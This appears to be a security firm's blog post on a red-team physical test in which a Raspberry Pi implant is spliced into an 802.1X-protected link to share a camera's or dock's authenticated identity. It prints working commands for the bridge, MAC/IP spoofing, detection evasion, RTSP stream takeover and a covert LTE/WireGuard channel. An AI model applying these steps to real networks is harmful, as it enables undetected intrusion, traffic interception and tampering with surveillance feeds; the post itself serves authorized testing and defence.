The Sins Of NTLMv1
Why NTLMv1 is insecure and two of the most popular attack vectors: brute-force attacks (particularly rainbow table attacks) and relaying attacks.
Thanks to SpectrePi, a physical device on the network, an attacker can bypass the 802.1X NAC. This attack vector is of particular interest to organisations that operate devices outside their secure premises, such as CCTV cameras.
A network device in the reception area, a camera outdoors, a docking station at a shared workplace: for many network and system engineers, 802.1X settles this attack surface. Anyone without an authorized device does not get into the network.
In a recent physical penetration test, we put exactly this assumption to the test and inserted a device of our own between a switch and an endpoint without being noticed. The endpoint stayed online, the 802.1X authentication continued unchanged, and our implant SpectrePi communicated in parallel in the corporate network under the same identity.
We did not fundamentally break 802.1X in the process, but rather quietly piggybacked on the already authenticated connection of a trusted endpoint. 802.1X protects the connection setup but does not protect every single network packet that is sent on the established connection afterwards. Anyone with physical access to a cable can share the path that has been opened up, without presenting an identity (IP and MAC address) of their own.

As part of an authorized test, SpectrePi was placed at two locations:
The goal was the same in both cases: first stay inconspicuous as a completely transparent piece of cable, then communicate actively under the endpoint's identity, and finally take over individual services from the endpoint. The legitimate device had to keep running as usual throughout. Even a brief outage on the network would have been quickly detected.
Three roles are involved in 802.1X authentication: the supplicant (camera, laptop), the authenticator (switch port) and the authentication server (RADIUS). Supplicant and switch exchange EAPOL frames as part of the authentication process. Only after successful authentication from the supplicant does the switch open up a communication port.
SpectrePi sits between the two as a layer 2 bridge and forwards these EAPOL frames transparently, thereby effectively presenting itself as a cable to both switch and endpoint. From the switch's point of view, the real endpoint is still the one authenticating, and, for the time being, no additional participant is noticed.
Once the port is open, however, the traffic is not cryptographically bound to the authenticated device. This gap is exactly where the inline implant operates. It needs no authentication because it shares the supplicant's existing identity.
802.1X remains an important access control mechanism. It prevents an arbitrary device from connecting to an unused network socket. However, our test also shows the limits of this mechanism. After successful authentication, the released Ethernet link is not automatically protected against a device spliced into it unless additional cryptographic protection is in place. That is why several coordinated layers of protection are needed:
We have published the SpectrePi installation on GitHub at https://github.com/avantguard-cyber-security-ag/SpectrePi. The system was developed for a Raspberry Pi 4 or 5 with two Ethernet interfaces as well as independent LTE internet / WireGuard access for use in red teaming.
In standard operation, SpectrePi behaves as a transparent layer 2 bridge between a network switch and an endpoint, e.g. a network camera, a docking station or a workstation. From there, SpectrePi enables observation and analysis of network traffic, replication of an endpoint's identity, selective forwarding of chosen data streams as well as the takeover of individual services of an endpoint.
The basis for this work was the open source project PhantomPi with its accompanying technical article on bridge mode. However, it did not offer a lot of the desired functionality for our particular engagement. It also contained many features that were unnencessary for our purposes.
As red teamers we want to know exactly which packets our implant generates – we prefer a manual guide over a configuration script that makes decisions in the background. We therefore decided not to use the following PhantomPi features:
Additionally, we also discovered that the PhantomPi project did not offer several important features for an engagement in which the goal is inconspicuous communication alongside the endpoint:
The current project reflects this lean approach with three deliberately small scripts: initial_setup.sh configures the system and installs the bridge service, setup_bridge.sh creates the transparent bridge including MAC filters after every reboot, and setup_virtual_interfaces.sh manually activates the spoofed identity including source port separation. The reproducible base installation is described in INSTALL.md. Traffic capture, routing and port takeover are brought together in the operations guide. We also recommend using the encrypted LUKS vault to store sensitive data such as captured network traffic in encrypted form on the SpectrePi.
The following sections show which technical problems arise in this attack and how we solve them.
For the docking station, an additional USB Ethernet adapter is enough to insert a Raspberry Pi in between. A camera, by contrast, hangs on a single cable that carries both data and power.
An ordinary PoE HAT is not sufficient for this. It only powers the implant, not the downstream endpoint. The setup therefore splits off the power ahead of SpectrePi and merges it back together at the end:

The camera therefore still receives network and power. At the same time, every Ethernet frame passes through the Raspberry Pi.
Kali Linux was used as the operating system of choice for the Raspberry Pi. The following three network interfaces were used:
eth0 -> Switch / Corporate Network
eth1 -> Inline-Endgerät (Kamera, Dockingstation)
wan1 -> LTE-Modul für den Zugang vom Operator

In order for the kernel to name the USB adapters the same way after every reboot, the physical ports were assigned permanently via udev.They were enumerated with udevadm info -a /sys/class/net/ethX and entered into /etc/udev/rules.d/10-persistent-net.rules:
SUBSYSTEM=="net", ACTION=="add", SUBSYSTEMS=="usb", DRIVERS=="?*", KERNELS=="1-1.3", NAME="wan1"
In addition, net.ifnames=0 biosdevname=0 is set in /boot/firmware/cmdline.txt, so that systemd's predictable names do not overwrite the mapping. Both bridge interfaces are marked as unmanaged so that no DHCP request or automatic reconnect generates packets with an undesired identity.
The bridge itself is unremarkable, apart from two details:
ip addr flush dev eth0
ip addr flush dev eth1
ip link add br0 type bridge
ip link set br0 type bridge stp_state 0
ip link set eth0 master br0
ip link set eth1 master br0
ip link set br0 up
echo 8 > /sys/class/net/br0/bridge/group_fwd_mask # EAPOL durchlassen
brctl setageing br0 0 # FDB-Einträge altern nicht
group_fwd_mask 8 is the key value for 802.1X. By default, Linux bridges do not forward destination addresses in the range 01:80:C2:00:00:xx, which is used by EAPOL, because they are reserved for local control protocols. Without this mask, EAPOL start, request/identity and keying messages do not reach their destination, and the NAC authentication fails as a result.
setageing 0 does not disable learning, but the ageing of learned FDB entries, so that entries no longer expire. For a passive two-port bridge this is inconsequential. However, as soon as SpectrePi and the real endpoint use the same MAC address, that address should not remain assigned to a single port. Learning is therefore switched off explicitly when the virtual identity is activated.
Persistence is handled by a systemd service that runs the bridge script after every reboot. This passive bridge state is the pre-defined starting point for every operation with SpectrePi. Identity spoofing, additional routes, port takeovers and NAT over WireGuard, by contrast, are only set manually by the operator at runtime.
In pure bridge mode, SpectrePi cannot communicate in the corporate network itself. Traffic is captured nonetheless. Since such recordings can contain credentials and personal data, we store the traffic in a LUKS container.
vault-open
sudo tcpdump -i eth0 -nn -s 0 -U -w /home/kali/secure/capture-manual.pcap
-nn disables the resolution of host and port names, which avoids additional network traffic. -s 0 captures packets in full, without truncating them. -U writes the packets to the output file immediately, so the capture is updated continuously. With -w, the traffic is written to the specified file in PCAP format. The capture file can then be collected and analyzed by the operator over the separate WireGuard management channel.
The endpoint's parameters such as IP, subnet mask, MAC and gateway are derived from the captured traffic. At this point, insecure protocols already in use can be identified, and potentially insecure authentications recognized.
With the parameters obtained from the traffic, the script setup_virtual_interfaces.sh can be run manually. This creates a veth pair. veth0 is attached to the bridge, veth1 carries the endpoint's identity and is the layer 3 endpoint for the traffic to be injected:
ip link add veth0 type veth peer name veth1
ip link set veth0 up
brctl addif br0 veth0
ip link set dev veth1 address $SPOOFED_MAC
ip addr add $SPOOFED_IP/24 dev veth1
ip link set veth1 up
bridge link set dev eth0 learning off
bridge link set dev eth1 learning off
bridge link set dev veth0 learning off
bridge fdb flush br br0 dynamic
Here, we see that ageing and learning are two different bridge mechanisms. Explicitly disabling learning ensures that unknown unicast frames are flooded, and only the subsequent protocol and source port filters decide who receives them. Several manual rules and an overridden source port mapping prevent the SpectrePi from disturbing the real endpoint.
With identical IP and MAC and flooded traffic, every packet reaches both systems. Specifically:
With UDP, the same effect occurs in the form of the ICMP message "Port Unreachable". This is the point at which a simple bridge setup is not enough for a red team engagement. Blocking all RSTs and ICMP errors across the board is not a viable solution. The separation therefore has to be done cleanly by source port.
First, the local kernel is restricted to its own dynamic port range:
sysctl -w net.ipv4.ip_local_port_range="20000 30000"
Bridge filters then separate the two traffic flows in the correct direction:
# Antworten auf unseren Bereich erreichen das Endgerät nicht
ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 20000:30000 -j DROP
ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto udp --ip-dport 20000:30000 -j DROP
# Pakete des Endgeräts aus unserem Bereich gelangen nicht ins Corporate Network
ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto tcp --ip-sport 20000:30000 -j DROP
ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto udp --ip-sport 20000:30000 -j DROP
# Antworten für das Endgerät erreichen unser virtuelles Interface nicht
ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto tcp --ip-dport 30001:65535 -j DROP
ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto udp --ip-dport 30001:65535 -j DROP
20000–30000 is not a universal value. If the range overlaps with the ports the endpoint actually uses, its connections are blocked. This should therefore also be checked during the PCAP analysis from phase 1.
Despite the spoofed identity, drivers, multicast, IPv6 or automatically started discovery services can generate frames with the real addresses of the Pi or the USB adapter. A single packet like this is enough to stand out in a NAC or monitoring system.
The device's own hardware addresses are therefore dropped on both physical interfaces, for locally generated as well as for forwarded frames:
BLOCK_MAC_1="$(cat /sys/class/net/eth0/address)"
BLOCK_MAC_2="$(cat /sys/class/net/eth1/address)"
BLOCK_MAC_3="$(cat /sys/class/net/br0/address)"
for MAC in "$BLOCK_MAC_1" "$BLOCK_MAC_2" "$BLOCK_MAC_3"; do
ebtables -A OUTPUT -o "$IFACE_COMPANY" -s "$MAC" -j DROP
ebtables -A FORWARD -o "$IFACE_COMPANY" -s "$MAC" -j DROP
ebtables -A OUTPUT -o "$IFACE_TARGET" -s "$MAC" -j DROP
ebtables -A FORWARD -o "$IFACE_TARGET" -s "$MAC" -j DROP
done
In addition, IPv6 is disabled completely (/etc/sysctl.d/70-disable-ipv6.conf), since router solicitations and neighbor discovery could expose a second identity. The same applies to services that are not needed. The rule behind this is simple: no frame may appear on the corporate port that does not carry the endpoint's identity.
As a general rule, care must be taken that a port is not reachable on both systems at the same time. It is therefore advisable to first prepare the service behind the target port on a different port. This can be, for example, the takeover of a camera's image. If the camera's RTSP stream is to be taken over, the port is temporarily shielded from the endpoint and served locally:
ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 554 -j DROP
socat TCP4-LISTEN:554,bind=$SPOOFED_IP,reuseaddr,fork TCP4:127.0.0.1:8554
On 8554, a local RTSP server runs that delivers a replacement stream generated with ffmpeg. The same pattern also works for HTTP/HTTPS/SMB, e.g. in order to collect authentication attempts.
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p tcp -j MASQUERADE --to-ports 20000-30000 --random-fully
sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p udp -j MASQUERADE --to-ports 20000-30000 --random-fully
sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -j MASQUERADE
Internally, the operator's traffic therefore appears under the endpoint's adopted IP and MAC addresses. On the operator side, only the desired target networks should appear in the WireGuard setting `AllowedIPs` and in a manually set route:
sudo wg set wg_spectrepi peer $SPECTREPI_PUBLIC_KEY allowed-ips "10.254.252.1/32,$ZIELNETZWERK"
sudo ip route replace $ZIELNETZWERK dev wg_spectrepi
The bridge setup itself is done in a few lines. The actual challenge lies in the stable, inconspicuous parallel operation of two devices with one identity. EAPOL forwarding, MAC learning, TCP RSTs, ICMP errors, overlapping source ports, multicast and hardware addresses are all sources of error through which the endpoint can be disturbed or the implant given away on the network.
For organizations, the consequences remain simple. NAC only decides which devices are allowed to open a port. Whether only the authenticated device really communicates afterwards is another question, which is answered by network segmentation, monitoring, physical security and encryption.
Anyone wishing to assess for their organisation what an attacker might be capable of in the event of a NAC bypass is welcome to get in touch with us.
Why NTLMv1 is insecure and two of the most popular attack vectors: brute-force attacks (particularly rainbow table attacks) and relaying attacks.
Process Injection is essential in red teaming and serves various strategic objectives, enabling attackers to expand their capabilities.
In this blog post, we show the steps necessary to recreate attacks on AD CS in a test environment. We also show how defenders can identify potential...